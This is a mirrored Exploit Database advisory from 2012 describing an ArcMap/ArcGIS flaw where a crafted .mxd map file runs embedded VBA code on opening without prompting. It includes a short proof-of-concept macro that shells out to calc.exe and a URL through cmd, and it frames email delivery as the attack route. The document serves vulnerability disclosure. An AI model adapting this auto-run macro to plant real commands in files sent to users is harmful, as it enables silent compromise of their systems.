ESRI ArcGIS 10.0.x / ArcMap 9 – Arbitrary Code Execution

• Exploit Database
• 129 阅读

• 作者： Boston Cyber Defense
  日期： 2012-06-14
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/19138/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52

  ===== TITLE =====   ESRI ArcMap Arbitrary Code Execution Via Crafted Map File   ============ Description: ============   Opening a specially crafted mxd file will execute arbitrary code without prompting and without a crash of the application. This is due to a flaw in the programs ability to prompt a user before executing embedded VBA. Mxd files are not filtered by email systems so this allows a remote attacker to trick a user into opening a map file via email and unknowingly gain control over their system.   =============================== Versions affected (maybe more): =============================== ArcMap 9   ArcGIS Desktop 10 Release Version: 10.0 Product Version: 10.0.1.2800 ArcGIS Service Pack: 1 (build 10.0.1.2800)   ArcGIS Desktop 10 Release Version: 10.0 Product Version: 10.0.2.3200 ArcGIS Service Pack: 2 (build 10.0.2.3200)   ================= Proof of concept: =================   If the following macro is implemented in the project the Shell statements will be executed when the document is opened without prompt.   Private Function MxDocument_OpenDocument() As Boolean Shell "calc.exe", vbNormalFocus Shell "cmd /c start http://www.cs.umb.edu/~joecohen/exploits/CVE-2012-1661.htm", vbNormalFocus End Function   Video at site:   http://www.cs.umb.edu/~joecohen/exploits/CVE-2012-1661